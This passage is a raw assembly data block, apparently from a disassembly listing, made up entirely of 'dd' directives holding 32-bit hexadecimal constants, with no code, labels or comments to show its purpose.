		dd 0D110E258h, 3109A4AEh, 6BCC5848h, 0F837015Fh, 0C4FFF00Fh
		dd 0D56FF809h, 691952F9h, 882B850Bh, 0E7ACD58Bh, 128CDF55h
		dd 0BCD3AF4Fh, 0E6C54037h, 0C4458D63h, 0FB85CD33h, 0FDB2D4D3h
		dd 13B834B3h, 0AADED721h, 7D6F09EBh, 313930EDh,	6CC7CE55h
		dd 7A48AF9Eh, 8AA566D0h, 4BAD7733h, 9945F1Ah, 9498C0BEh
		dd 0FE35A2DAh, 0CDF38AEFh, 252D559Bh, 143CFBA6h, 0D65530D2h
		dd 8B327C3Eh, 2E8362ADh, 0E84DDADh, 63A18304h, 4F29432h
		dd 0D3730B95h, 0EA352335h, 0DC23D660h, 3E4D8316h, 6B7FA6ACh
		dd 68841C85h, 3F2EFADEh, 0AEBC4EECh, 39ADE99Ah,	0D0F87105h
		dd 0C58FB4DFh, 0AFE8BF1Eh, 256C171Ch, 5DFF913Bh, 6B1F1B93h
		dd 0A01D6A89h, 7B240810h, 0CD28FF3Fh, 7F7CDE88h, 73A57D03h
		dd 0DB806986h, 2B55F54Ch, 701BE7F1h, 67750447h,	99FD77C4h
		dd 0CB18A432h, 15E279BDh, 0E6C033BAh, 12DE312Ah, 366F2FE5h
		dd 42A525BAh, 0BBB17FF4h, 0BDFF805Eh, 137F7712h, 0CD96294Eh
		dd 6C7829ECh, 6C177717h, 23F271Eh, 0EBF516C6h, 0E75F266Fh
		dd 0F6797558h, 3215D98h, 616E179Bh, 35B16964h, 4A496DDFh
		dd 6C4996E7h, 1D6F7DAFh, 0A84467A6h, 8BD693CEh,	0BD2AF156h
		dd 0A126314Ch, 5305EE30h, 2FB4E352h, 4D2C4A0h, 8E18DC38h
		dd 8247B7E3h, 48E619B6h, 0A8A1015Eh, 0DB3859F4h, 0F0FC67FFh
		dd 4DC58CAh, 1E57D6C9h,	0CED489D8h, 0DA8C751Bh,	27C07518h
		dd 57E4641h, 0DB5066E8h, 5E190AC7h, 0F3A434DEh,	3F1296Fh
		dd 0CF4D108Fh, 0A2D5E9FFh, 41B32263h, 5B3717C3h, 9C6C498Ch
		dd 0FAEA4CE7h, 0C4FA3134h, 890DA8EAh, 4316132Ch, 0DE774E8h
		dd 0F40071F7h, 2A29CC15h, 6D8BBA57h, 70EA010Ah,	5373CFE5h
		dd 7B152104h, 54D3E7FEh, 47096CEh, 8CA67397h, 0C78FA744h
		dd 9DC67BB5h, 873ABE1Fh, 0FCB710EAh, 0F2F8780h,	0C9A64BFh
		dd 5DC4A03h, 0E89720A3h, 0C2099Ch, 0ADBFEC02h, 63316501h
		dd 3ACE0F64h, 96F0166Bh, 17035C67h, 7A607170h, 618C9048h
		dd 0C21292Eh, 0F5398A9Ah, 0BDACF0D3h, 127C170Ah, 0C3956384h
		dd 739A5327h, 51458337h, 68267FF9h, 663481AEh, 15D97B7Ah
		dd 0B077BC21h, 0E16B1FDDh, 0EC566734h, 463A9479h, 9B57BD5Fh
		dd 800D3DE1h, 51BE8DBFh, 11C972h, 0E26F7F12h, 0BF065C4Ch
		dd 499A684Ah, 5A5BFE36h, 0FE60F2A0h, 0BF9899F8h, 2BF942C3h
		dd 9CCD49E0h, 2117043Eh, 5430748Dh, 1D48DBC5h, 0CE18CD9Fh
		dd 5CFAA4A4h, 1FFB9884h, 5567625Ch, 3375C03h, 0E5F9C36Eh
		dd 0F12A1752h, 9992E037h, 0B0E309F4h, 4D97286h,	87FC9FEFh
		dd 50B7CE8Ch, 0E00CFF51h, 71200754h, 6474A701h,	1DDA238Ch
		dd 0F5F77957h, 0F48F71Eh, 0A9B18B9Ch, 0DB850D8Dh, 1A337AC3h
		dd 0CC39CCDEh, 0E966F031h, 0DFEF19B7h, 0F38F5B5Dh, 8D5AB1BEh
		dd 98F1395Fh, 3BBF4A63h, 0B6C3B0EBh, 0C2F137EDh, 8B188E7Bh
		dd 0C7D7C6BBh, 590F8ECh, 193F090Ch, 2D179851h, 0A26EDC2Ah
		dd 9BEEB73h, 347C0C58h,	0AFF76AE4h, 0FA769267h,	5D1DBDB7h
		dd 0E2BFCE86h, 68A48BC9h, 7C0576B9h, 9321FD78h,	0C802F8A9h
		dd 2560F323h, 36D80D6Eh, 29DAA79Ah, 6B59DD40h, 0CDD2489Fh
		dd 499372h, 0CCAB2D48h,	0EF320E58h, 0DB033044h,	0AECFC07h
		dd 0C149EC33h, 6C5F4A4h, 26F9391h, 0B745C4BBh, 60BAD97Fh
		dd 0F4E7CB39h, 44B33528h, 6584DB06h, 93078BCAh,	510E4E28h
		dd 0BFD35785h, 0D6059245h, 0B79828C5h, 0CBB9C435h, 0BFD4D19Ch
		dd 8C072620h, 6B512623h, 7DE8E119h, 0CA649C84h,	0FC51DC03h
		dd 2CD5DD42h, 0FBD457EEh, 0D9F7B654h, 62F33D4Ch, 6E261575h
		dd 5DFAE50Fh, 164673D9h, 0E39C6DBBh, 0D7050E11h, 0BCB30C0Fh
		dd 915ADBB6h, 70EBE6A0h, 3EFDE444h, 987FFA72h, 0A5F6652Ch
		dd 0B8430C19h, 0C56BA020h, 9C463915h, 0FC745B90h, 0DCDE1085h
		dd 6FF452FDh, 6A35391Ah, 17060838h, 62F09A8Ch, 62981D66h
		dd 8D750D6Eh, 2086EA4Eh, 0DA735F93h, 7DE31D25h,	3340A319h
		dd 58A8CB4Eh, 0CA705B40h, 0E45DEAFDh, 51B9D52Ch, 0F94E00Fh
		dd 61E96CC5h, 96AAA4Eh,	1D49E7BAh, 0F0FF0B05h, 357E612h
		dd 0C85C83BDh, 6F9137F0h, 2B00B131h, 437C15ECh,	6C44FA7Bh
		dd 72364B82h, 0A5F0D70h, 574C27B0h, 0A50F8F83h,	17A33546h
		dd 8D764AA5h, 0AA5F2BBAh, 0D2AC781Ah, 5395B52Ch, 17CBBD2Eh
		dd 2849EE5Bh, 43D15828h, 0E143C166h, 563D0461h,	2AD42CDDh
		dd 3725C4C5h, 285DFF31h, 590960F1h, 63D451DFh, 0AE046D11h
		dd 0D4B13F55h, 89784DFDh, 0DA100F40h, 0ECBE1717h, 0FFBE136Bh
		dd 231BFE31h, 9664F99Ch, 3637F697h, 0E6B745C3h,	9969EB80h
		dd 0E49AAC4Dh, 7F1B0B96h, 54B826F7h, 0EC4AD027h, 7BA704E5h
		dd 0E61D6222h, 0BD10ED68h, 16643A8Bh, 7B58636Bh, 0E4E60B52h
		dd 7B50F176h, 6A65A923h, 0CC7B010Fh, 0E1C61D8Dh, 32BA714Ah
		dd 0EA1D6BD9h, 0F2805991h, 9BBE70C4h, 7B3D4CE4h, 0B7AED4D7h
		dd 31707EBCh, 0DEBCA9D8h, 0D771323h, 0D99290A2h, 0A6BB0E96h
		dd 2311A799h, 64CD2937h, 4110773h, 0B4A9EDBh, 0CF64064Fh
		dd 73157D5Bh, 6C3806Bh,	0AA9D4517h, 4E2E5868h, 37363111h
		dd 0DEAFA10Ch, 234D2852h, 0A90FCFF0h, 94E6A7A0h, 8DF67D4Eh
		dd 38846E05h, 0FE860B77h, 52A63AE3h, 3F96C7C3h,	0C6A38180h
		dd 0FAD7A791h, 0E4F64447h, 0B033BE57h, 0F3E22A6Eh, 42A88FA1h
		dd 55AF4B27h, 0B631E98Ch, 45045FCh, 6668155Bh, 0BC5E3CD1h
		dd 8504E28Ah, 7BDE4158h, 0E5570B0Ch, 6C789160h,	55DD012Ah
		dd 0FE13A9B1h, 2EAC080Ch, 0B3F1C0CEh, 18043AC7h, 0E0A764A3h
		dd 531AAD4Eh, 0E5166FAAh, 35FBB50h, 7AC413BCh, 0D4935067h
		dd 31FD2166h, 0E1592A11h, 0EA97EE07h, 0F58F4748h, 0F2909836h
		dd 0F37A2BFDh, 0C37477F0h, 0E50580D0h, 65F5F9EDh, 0A6406315h
		dd 0CC835B1Eh, 34F59186h, 0DE35B75Fh, 0C97C584Eh, 0CB80373Bh
		dd 36A3DAADh, 9DA18BD1h
		dd 5A9A42A0h, 0E8548EE0h, 4327240Dh, 0DF1EAC9Ah, 9638C406h
		dd 737FEA1Ah, 3FB5DBBBh, 0E2397D58h, 80494DB7h,	12529AD0h
		dd 0EF63A9E7h, 0DE843695h, 5BC2F287h, 9E8C69A9h, 6B3E009Eh
		dd 0EEBABAA4h, 7EBB82EDh, 0E4CC8F4Eh, 52FBD5h, 6F5A3885h
		dd 0BEC4A65Ah, 0D30FE844h, 7BDD81B8h, 0D17549A8h, 344E26F7h
		dd 0D85F9CDAh, 0A9A6C38Fh, 49B25B01h, 698253B4h, 14C4A5B0h
		dd 873A155Bh, 0EDF7E99h, 5F3B0D2h, 25AA1A73h, 0AA7B10AAh
		dd 3D5E0DD3h, 658EFEB1h, 45946330h, 0E41D6933h,	0A4810A8Eh
		dd 9D3B9069h, 0A824A7ECh, 0FB22FC85h, 0CD3B9A93h, 947953ACh
		dd 8D4D1564h, 8B62CC15h, 0ABF7A5F9h, 62054BB0h,	4425688Bh
		dd 0DA7B6D4h, 3EFBA1BBh, 0FDD94530h, 0C17D60B2h, 0A44913B0h
		dd 247B3707h, 0A7D4E2D0h, 986C0DDAh, 1705283Ch,	0ACAE23AAh
		dd 0E5316E38h, 56782341h, 5D39851Ch, 12388227h,	0DAEEC041h
		dd 295AF17Dh, 9960D69Dh, 0F36CBD76h, 2DFFC406h,	19909657h
		dd 0F720965Bh, 0E2FDC780h, 0D5DF21A2h, 0B183EF6h, 7E34903Bh
		dd 5F8FAC6Eh, 0EC86A604h, 0DFDF6848h, 0EC9E81Fh, 9CEE4B3Ah
		dd 0FF59DEA1h, 2863B7D8h, 520467B4h, 0D1A83286h, 3A76E61Bh
		dd 16D39203h, 0B5623635h, 0A2BF31E8h, 58775A3Bh, 67C77BF3h
		dd 0EFB2DD5h, 0FC6E2B63h, 0E1010829h, 2852AE28h, 0FCEB416Eh
		dd 608AB3E4h, 8A10F988h, 0F11C256Bh, 0C6439D5Eh, 0D2AD553Bh
		dd 2CAF99ECh, 18ECA049h, 260030F2h, 0BA052138h,	1C1DA3CCh
		dd 0E74367ECh, 8012CCFFh, 13593A6Ch, 0FC610BACh, 0BFBB7960h
		dd 413C478Fh, 0A776AB26h, 0B013AC92h, 38C00A0Ah, 750749B1h
		dd 60F5F165h, 62887BFBh, 4C58B92Bh, 57CFC287h, 0BDB17ED8h
		dd 306B293Fh, 0BF11556h, 761BF6B4h, 73346B06h, 99551FA4h
		dd 4F0A5EC6h, 276DA9F9h, 0B770EAEh, 0CFA08733h,	3A57F3E7h
		dd 69B1AA65h, 9A80C27Bh, 0D4AD472Ah, 6FAD19D2h,	0A0CFC759h
		dd 0ADDAF223h, 4EB87A9Ah, 358F290Ah, 1135846Ah,	7F9BE67Ch
		dd 0E26F5B04h, 9B9EF608h, 42FBE782h, 57B51D00h,	0FC06FA23h
		dd 26C4F915h, 0C664C2DEh, 2EA651E7h, 3AA36C86h,	0DF091AF4h
		dd 0B57EEB24h, 2132DB37h, 3F2B0455h, 1C3B225Dh,	0B2A60301h
		dd 2DFD002Ch, 7ACF0A5Fh, 0E5D80D8Bh, 7271358h, 0FED4D8Dh
		dd 0B3F3A7F6h, 2C5F427Ah, 38B71C57h, 988D569Dh,	6FC595F4h
		dd 40B17C2Eh, 0AAABFE7Dh, 0F492C7EDh, 0F767A6BDh, 2136A74h
		dd 0B32A0FDDh, 0FA6D87B7h, 0D66288A4h, 58B54F6Ah, 0D2ABC703h
		dd 0A7CDDE8Bh, 816E079Bh, 36CB94C5h, 47EA5D84h,	6F581E6Eh
		dd 2FEC79C3h, 0A3492123h, 0E99B80B2h, 0C39002Fh, 0BAE068D5h
		dd 1871986Bh, 578869D9h, 0D7F61A46h, 2335BE17h,	0D55B5EC5h
		dd 0D96D9FF5h, 0E4BC8840h, 2A9E12A9h, 0DB973E76h, 9697BB0Dh
		dd 0C60F2DE2h, 62B10A51h, 9ED1828Ah, 2DC3CF81h,	7E917D4Bh
		dd 0D87803E3h, 44615A08h, 1D6887Dh, 583E2D5Bh, 3477039Fh
		dd 0B6FCFB86h, 0CFBD6E94h, 0C8A99283h, 0E07C668h, 0AF10ED9h
		dd 0D59ADFF0h, 5FA11C5Ch, 0B48A0C99h, 5367FF18h, 3E5CB84Ah
		dd 96B9C784h, 9A43B640h, 0C295722h, 1EE8EDBAh, 699B797Fh
		dd 0EF3726Ch, 19583010h, 0D7EE9928h, 41D73C0Dh,	0A9826D7Eh
		dd 8F154A32h, 295FE76h,	8EE18D0h, 0F826FEEDh, 0D9302D4Bh
		dd 28902FCEh, 0F545C4DAh, 7E787372h, 1F93ED84h,	0D073214Eh
		dd 0FC87DCF7h, 0EAB4A02Dh, 38E4C015h, 4DDF00D6h, 7F46213Ch
		dd 0E31358E0h, 5B076907h, 0D477B3Ch, 0F02CEAF4h, 0ED334350h
		dd 0AE33FA2h, 0E989817Eh, 0BD4AA543h, 0EE5C61C6h, 0DBF082FBh
		dd 0D4010510h, 0D3BE82ABh, 162DB61Bh, 36B2C9DFh, 81A30663h
		dd 55B9F7DAh, 0F05A51A3h, 711592BFh, 8871AF7Dh,	29472FDFh
		dd 0B8144B20h, 9C09C001h, 3CCDCF83h, 835F7F6Ch,	8B14851h
		dd 4B34D090h, 0A08F7B7Eh, 45651DDDh, 37369073h,	8D2BBFC9h
		dd 0AF556A1Fh, 0DAA61BC7h, 6CBA30EDh, 0E0CD6846h, 2F3EA08Fh
		dd 2F1A41C7h, 34F244BBh, 0D7A5EE75h, 323B32ABh,	29CADCF7h
		dd 0BB2CDA59h, 89BE1BF9h, 92EF8DA2h, 6C04937Dh,	0C90A7926h
		dd 0FD500223h, 8266B6DDh, 4992A41Ch, 0EE84E808h, 2E1E4627h
		dd 1AF70AADh, 0FE114F69h, 7FB57C1Ch, 0FEA17146h, 2966F4B8h
		dd 0E1C2C936h, 23F9BC52h, 5FB3AFA4h, 1D070140h,	0D8750765h
		dd 0AB2BFD2Fh, 39385BB9h, 6F225149h, 0B7E637BDh, 0F3124310h
		dd 964EC826h, 17E3EA14h, 4231A566h, 0ED2C4F58h,	221655AFh
		dd 0E1A9818Fh, 7160F657h, 2CFFE35Ah, 461459E2h,	0D60B35BDh
		dd 0A7CCBB02h, 6965C040h, 0BD61F444h, 0ADAA40B0h, 0D4898D37h
		dd 7FE39C23h, 0F967473Fh, 0B85E499Dh, 6AE234CBh, 0ACB93BE9h
		dd 4782863Bh, 6F164DA0h, 2B1D3E4Eh, 8872F4A9h, 0C5912C72h
		dd 0F87F3A8h, 576D1518h, 0C7E541BFh, 0B709BBCBh, 0C0AFFF01h
		dd 0DC631F38h, 396938A1h, 82983E45h, 9507E3FAh,	0CC508734h
		dd 7FCAA0CAh, 5AA97C54h, 7DFBB6F0h, 268D44D1h, 39309696h
		dd 0C99DF7CEh, 4A0AAD0Ah, 96F9A365h, 4633EA40h,	2B5A12F3h
		dd 826DFB5Bh, 4B86524Eh, 0CFA8F246h, 0CF95E7FCh, 0E796A1B5h
		dd 0FE406230h, 312D8F99h, 46A96E7Ah, 0EB9D6E31h, 0A08045E8h
		dd 51EFBE90h, 74777F88h, 135AAF90h, 55A0EF75h, 50AEA1EAh
		dd 6830C3FFh, 0EFE0225Ah, 0C59CE35Ah, 65701E5Eh, 0D35B35C9h
		dd 0A4069974h, 7CBAADAh, 0F16D4088h, 0C56BEB02h, 6FFB596Ah
		dd 356CD16Ah, 0A67BE996h, 5B519EA5h, 0F63CCA2Ah, 0B1C4AB02h
		dd 997A68BCh, 216BF1E0h, 940556B7h, 7BBE3907h, 7143CB03h
		dd 0C7394B78h, 0EDB171FEh, 0C734E646h, 0DDF3478Eh, 0F7F1E4C9h
		dd 5EBC4AEEh, 2EA4FE34h, 8306890h, 0C97DFE27h, 1CE9B678h
		dd 0BE0668CEh, 0B1776E50h, 6377B068h, 0B6526401h, 0ACF71184h
		dd 39B2B5FBh, 251BE749h, 702908D6h, 0EEF2F158h,	9D4387DBh
		dd 2D75665Ch, 0D72BFB6h, 0A9B14880h, 2AC6D05Ah,	0C7DD186Ah
		dd 0E998D289h, 0E6CDFDA1h, 0AD42656Ch, 51440E29h, 0B37FD50h
		dd 87572B9Ah, 0A7F233F6h, 1E178D62h, 0BA3DFDFDh, 64822E7Fh
		dd 744D5C49h, 8ED31DEDh, 4D0AF014h, 97B5532Ch, 53E373ADh
		dd 0DF720E14h, 0B22AEF2Bh, 50F926C6h, 99D3ED37h, 2B0C23Ah
		dd 43820375h, 46E32509h, 0DD4B8DDAh, 1240581Eh,	0B3B50457h
		dd 52D5B427h, 6618C95Ch, 0C13CC207h, 91CFF84Ch,	60EDF154h
		dd 9E98EC2Fh, 0A8A75ED9h, 5D08249h, 70C74F64h, 24D4BCFh
		dd 0F715B28Ah, 1CA444A4h, 0D4221E2Ch, 0FB2C4A20h, 93F79E89h
		dd 0ADC9F8C1h, 7A3CC5C8h, 95B2B285h, 658C9F5Eh,	343FC08Ch
		dd 83C00048h, 0A90E89ECh, 459F7FB1h, 0C49C08E0h, 0AEF3CE0Dh
		dd 2FC1664Bh, 16E5A0F7h, 4DBEE254h, 73C8C966h, 0B6A1FD00h
		dd 36580626h, 644F123Ch, 81B07118h, 0C2D66A66h,	0A6999EE6h
		dd 0B87C5786h, 8F2F3D36h, 587DD3A2h, 132023B4h,	76836542h
		dd 0EEA5BE1Ch, 0DD4E3568h, 0C44E063Fh, 56B77F4Dh, 975DEB98h
		dd 273128FDh, 5DB9A072h, 0C7AC73FAh, 0E625BB50h, 48CB7C02h
		dd 42A3F4C9h, 0DFA7F55h, 34CB53EBh, 0E86492E7h,	37614587h
		dd 25BC55F0h, 7FADE12Eh, 80F2CFDh, 45A259FFh, 0A962A5D9h
		dd 0B2B62E9Bh, 1E1E86D3h, 5F4B93D0h, 5FC650E5h,	4A6C8D2Ch
		dd 5A1983DBh, 73B52BFDh, 51268F89h, 0BF6B8515h,	0EF42D96Ah
		dd 59035202h, 835F539h,	9CA43CD9h, 8DE91077h, 8B37CEB7h
		dd 0A7D4B28Bh, 0A40F9B6Ah
		dd 851646C2h, 3777809Dh, 8DA511B8h, 8F554513h, 0DD08EC0Bh
		dd 0E045F6A2h, 87C41427h, 375B3Eh, 19B0E757h, 90B4376Dh
		dd 0A7847CD7h, 4032871h, 5A8266F3h, 9A06919Ah, 34AB5799h
		dd 0BE5FD6DBh, 0FBCE14E5h, 0D97355EDh, 0CBB2B5AEh, 0C68E089Dh
		dd 0CF0E9B66h, 74C2CE77h, 92FFB1EBh, 0EA4622FDh, 9CE6D756h
		dd 0AD41F62Ah, 53E886EEh, 0AB8ED360h, 5E99EE3Fh, 0E3231E7Eh
		dd 6B8FD54h, 0B0292B10h, 643DAC41h, 0EF2C38F6h,	52AECA18h
		dd 35EE80A0h, 33CBA439h, 0E765C0F5h, 5F13711Bh,	8E85CA6Ch
		dd 72A4B61Ch, 5932C9ADh, 0F38A9E5Dh, 9A8C7FD6h,	0C4D0D574h
		dd 19F0079Dh, 630BDC82h, 0CB8A02D7h, 0A7750146h, 17540940h
		dd 5ECDF045h, 1D81E74Fh, 45CB4DDBh, 0B6AC95A9h,	45B26115h
		dd 2E7F78C5h, 63BCF5C1h, 0A5F0DD44h, 0DEDA3D2Dh, 0BFE024E1h
		dd 89D6AAB0h, 0F42C61D5h, 0D9D540E1h, 0D86AECAAh, 7BA7C0C0h
		dd 907F1496h, 0B5C01312h, 0E03D9F8Bh, 78537B95h, 0F1058397h
		dd 6C4957B4h, 551668C0h, 0B1500907h, 0CC9A1E96h, 1FB9A438h
		dd 4966CCEDh, 1FDFEFC3h, 91646E54h, 0D334A56Ch,	0F0FBF546h
		dd 35C9852Ch, 8FE24F1Fh, 0C4E5EA6Fh, 325A6804h,	4AA7E16Bh
		dd 0F5E33492h, 49F9F771h, 89C44BFEh, 75E216BCh,	9578B987h
		dd 4B736EE5h, 0EF432905h, 5CBD9D6Bh, 0D2DE1525h, 4189F2DFh
		dd 4E25AA4Ch, 3CB5BB3Eh, 0B5C5E959h, 0D826255Eh, 27ACBD90h
		dd 0A3CBA43Dh, 0D0204D9Eh, 94E1E796h, 311BC328h, 9096A659h
		dd 3C5FC867h, 0DD24503h, 7E2B6C71h, 0C65E2FF9h,	0CBC5891Ah
		dd 1006BACBh, 0E8DF595h, 0E29C484Eh, 0A5CAEF4Ah, 6A489861h
		dd 0E20D1A2Ch, 5A1C7923h, 0D892033Dh, 0D6DE8090h, 0CBAFE9C5h
		dd 126D2F87h, 3CC87AC0h, 73D1DD2Ch, 0D3D6E200h,	0F4229F89h
		dd 0F7034BEEh, 0D926D10Dh, 0A83E98BDh, 0BE1DDB98h, 998BBF12h
		dd 165501C0h, 0D8B1454Fh, 9F7EEBC6h, 746A30BBh,	32B9903Ch
		dd 0C5703CCAh, 0D73C48DCh, 0EF0312Dh, 188EAC8Ah, 877AF6CEh
		dd 0E3B3EA3Fh, 9630EA23h, 20AAECF4h, 2CB8E109h,	7B9ABD10h
		dd 6F849EDBh, 0F003BA2Bh, 70499414h, 0BAE6B517h, 0EE6FB879h
		dd 58083726h, 0E3B492F7h, 0A22C9Fh, 9E0AA68Ah, 0D0AAD58Ah
		dd 1079D139h, 8D0EEA92h, 97F8EDBDh, 6707A21h, 2A320EEh
		dd 3FD46CF7h, 0F7D5F2EDh, 0D950E232h, 0CD68EC8Fh, 5D486EB8h
		dd 0CF792EFEh, 39169758h, 8A43CF71h, 0DFD2A7DCh, 0EDB2CC7Dh
		dd 942A9EE7h, 0ECC6AF16h, 93BBE468h, 939FB183h,	0E839AAB0h
		dd 0C8852576h, 0CB6149C5h, 0A3C45BAEh, 207C0C6Eh, 1E094DF9h
		dd 2455BF79h, 0AE9642DCh, 0CA1BF3D8h, 0AFD1E75Dh, 32E1FFA2h
		dd 0DA43FF62h, 56B30649h, 71329906h, 8EE63748h,	4C9BB2E0h
		dd 0ACDA4619h, 2BB7E3Eh, 3B51B9CBh, 50791636h, 367A70B1h
		dd 8D567E51h, 3D810891h, 261032D9h, 3D4D9139h, 0EF209195h
		dd 8073F269h, 341EF24Ah, 77580AB0h, 0BEDF7DADh,	2069B495h
		dd 95125E29h, 0BAAD67E7h, 0D72EB9E2h, 0B61FFDECh, 4C4709FEh
		dd 63640C3Dh, 29A063DBh, 8D713507h, 3A3EA6Dh, 47BEF435h
		dd 63D355F9h, 74CB1CADh, 72DC45CAh, 52BFB90Fh, 65F6C06Ch
		dd 15B8069Bh, 0EE481140h, 67B02AAh, 0C44586F0h,	5BE1A1AFh
		dd 0F5A974EBh, 0FDA3A89h, 9D212DC4h, 47BBBDCAh,	0AA5457E7h
		dd 5B100690h, 0F2349BB7h, 0D7273AC4h, 0CD87371Dh, 5E6F1527h
		dd 0E5C59C2Dh, 703C5864h, 3284A6C7h, 2EF55B0h, 0B70663A1h
		dd 6921BEB8h, 0B201F158h, 846C3CCCh, 0FD909BB3h, 708D1025h
		dd 0E34FDE10h, 5E1840D5h, 56A75736h, 0F440E549h, 0B07005C0h
		dd 705F9949h, 112F2742h, 0AD213D47h, 0DAA864h, 0DCC8421Dh
		dd 5864122Eh, 0F999C5CDh, 8F868EB5h, 0B97A57A1h, 42DFCE23h
		dd 6881081Eh, 8FD7DCC4h, 0AFC88E4Ch, 0C214BEC3h, 0C05115Fh
		dd 0C5287A61h, 6644276Dh, 6E8504C5h, 0EF34AC09h, 6CC4E165h
		dd 756A9819h, 1469145Bh, 7F0D3DE4h, 4C88291Bh, 0D8962EE5h
		dd 20A28513h, 76AB306Fh, 2FFE76ABh, 0A9CB3E3Fh,	0ECAB837Bh
		dd 2D235760h, 0ED716F41h, 0DFA70154h, 9A93CF9Ch, 3DA20D0Dh
		dd 0CEC4E99Bh, 582D80A7h, 1AC3AC5Fh, 0EF6F2D44h, 0D523E928h
		dd 13A7028Ch, 8BA99951h, 3ECBB429h, 0F04BCA3Dh,	3937ADFCh
		dd 89B184AEh, 1331A3D6h, 0D8A2C8AAh, 0BC4FE31Bh, 68AEEC67h
		dd 0CF9C2A5Ch, 0E9C92D76h, 79F42196h, 0A7F0256Eh, 981CFAC4h
		dd 0DBEAFB88h, 0F0960145h, 0EFEFD958h, 0B978F958h, 284E11D2h
		dd 2FC100EDh, 0C07C11AAh, 0BC64ACh, 0D97DB52Ch,	73F4829Dh
		dd 7438628h, 51686A54h,	63706E6Eh, 3511025h, 5361F5EEh
		dd 0BC9E9FA0h, 14BE67FEh, 27A5650h, 0C97E141Dh,	0B42DE754h
		dd 72C78AB1h, 6F41D7ADh, 481FB6CCh, 4F239D29h, 1D105F38h
		dd 56B42772h, 7EE52BC4h, 0A24CEFCFh, 0EED9617Ah, 0AC97A78Dh
		dd 6BD55F84h, 7B586967h, 0EF7A4B1Ch, 2CAC3852h,	474F73EBh
		dd 7A03EB6Ah, 83AF4C11h, 4C864DAFh, 57A1738Ah, 781B53A9h
		dd 91C3EDDAh, 4650AE25h, 756D4410h, 12C16F88h, 0FF6B387Ch
		dd 0F98D88DAh, 3A53397Bh, 34D7A9C7h, 0C20F8BDFh, 9D5B7D31h
		dd 0E8D56826h, 0A3CB4911h, 0D289142h, 95D30679h, 0F60A9FE5h
		dd 0CEF03C5Ch, 0E953CEA7h, 0C43B594Fh, 113694EEh, 3C693EA4h
		dd 0E1528183h, 0F3F0558Ah, 7D87A495h, 7E9C9AB8h, 21B1E038h
		dd 9C6709D5h, 6B78AE37h, 220F98B4h, 13122F65h, 0D13FFC98h
		dd 35511DC5h, 0F44D2649h, 385A7F2Ah, 89FE2CA3h,	0F2AADF54h
		dd 7FF1174Fh, 96B9AAFh,	1512490h, 337BEB2Ch, 211F2FB4h
		dd 0BB7C8E5Eh, 0EA8D3BD6h, 3E3535ABh, 0B88FE444h, 83FFA2D2h
		dd 6E48D71Ah, 5BE37E4Bh, 14F35613h, 96E8EBF5h, 573CBFFFh
		dd 36EEB444h, 53C37F5Fh, 176FE686h, 0D34D9870h,	1622DD07h
		dd 27DEBDCBh, 99D15A4Ch, 0DBD72E2Ah, 0EFE27760h, 32E44ACFh
		dd 0B7B8ADB6h, 85E4CCC2h, 470A23FEh, 774D57F6h,	0E5246FEAh
		dd 3BFC58Eh, 9835549Bh,	91C3416Fh, 854EC5DFh, 0FAE29BD3h
		dd 0AF7F200Bh, 1BC362D8h, 0D1E34DEDh, 8D2C4C1Ah, 652FE213h
		dd 0C720F54Ah, 0D6A8B65Ah, 9ED8ED6Eh, 60B7E48Bh, 1E23EA7h
		dd 15073657h, 39F8002Ch, 213C5F98h, 4BEBD564h, 4B04A641h
		dd 0ECBE11C6h, 0ED7372C5h, 6E787EB9h, 7A85586Ch, 8F310044h
		dd 3B8A2947h, 68A20500h, 3C93CCC3h, 0D133DF10h,	0BE3A5145h
		dd 0B45D54D5h, 3CBDF83Fh, 104C435h, 0FA3FE51Bh,	0DFB212CCh
		dd 44BC6A2h, 395BE68Eh,	0FCA46327h, 0C157D1B4h,	456DFFB6h
		dd 8D84A9F8h, 0B1BC111Ch, 0A181073Fh, 56031F5Ah, 76BE0D9Bh
		dd 889EFD12h, 10FD78ECh, 0E5087723h, 0D9605F7Ah, 0B130DBC4h
		dd 0A32CECA5h, 99021D78h, 7C9D216Bh, 96EC8BA1h,	2ADBEDECh
		dd 6FB987D8h, 5EC11A6Eh, 24615BA8h, 0FD43A8EFh,	7EB0DFCEh
		dd 51846F6Eh, 0EA6A1A95h, 71C31E78h, 66A1B4C1h,	0DEBFE2FDh
		dd 356140D8h, 0AA324714h, 54602A1Ch, 8B72F180h,	0C72F1787h
		dd 0E0B7B73Eh, 0F17BCA94h, 4253D5E6h, 98EA1202h, 0DBDE4A93h
		dd 31BB4926h, 88C7A886h, 0A7481C9Fh, 0CA5574B8h, 0C1AD446Dh
		dd 0A93F15C4h, 5624BFDBh, 0B53CD564h, 0F32B3388h, 0F2BB557Bh
		dd 3CA36016h, 11F4C084h, 0C4354F57h, 79383C41h,	10127FA3h
		dd 0A8A0933Fh, 287E964Dh, 0C3DEB4EFh, 3F65C9D5h, 0E9F85DD5h
		dd 927377Eh, 8C048158h,	0FA3B13F4h, 0B4E6C9h, 831DB2h
		dd 528F6A75h, 83E10355h
		dd 801502FBh, 717009DBh, 727AA2ABh, 2CBDA5Fh, 0B17EC7BAh
		dd 0F80075CDh, 0DC452C58h, 0B89BFD40h, 0EE330898h, 0B6E70E6Eh
		dd 473CDF9h, 3F6615Dh, 987DDB8Fh, 0B1B3E254h, 2E400FC8h
		dd 14601E5Eh, 28E3C23Fh, 0E6BA7F90h, 1322DE2Ch,	61FB7060h
		dd 4270AF17h, 0F74AA52Ch, 4E4EB4A6h, 0C6BCEA7Eh, 0BCBA6389h
		dd 0E755B7D5h, 514EFC32h, 0EE95261Fh, 5AC09E3Dh, 6B76AFDFh
		dd 8D46D269h, 4BA63D67h, 98793CB4h, 95A88C97h, 0D186611Fh
		dd 95D20F3Eh, 0A7BEB59Ah, 57C348BCh, 0BB036DEDh, 66B6C574h
		dd 0FB643257h, 7CFA4AABh, 1080B2Fh, 57AC60FFh, 0E793D565h
		dd 8F965D04h, 7C5455BBh, 48F7AD85h, 67BF54CCh, 4CCD1BB8h
		dd 8557F71Ah, 76009B4Bh, 0ED28545Bh, 0A5D0611Dh, 5CC886F9h
		dd 0BC64E7E9h, 0BDC1D151h, 0A15B622Ah, 94716620h, 0F61A6CBCh
		dd 91C5458Fh, 0F9984044h, 9D53F9D8h, 29931E35h,	0FA7DD688h
		dd 0CCF2B480h, 0E90EA293h, 0C6353D94h, 0F5501B15h, 30D1AEB0h
		dd 12480F08h, 4A178A20h, 0F587CB64h, 5D116B41h,	96D86BE4h
		dd 5287C223h, 2C27E1BDh, 0C036FA86h, 6CDC6094h,	69878A7Ah
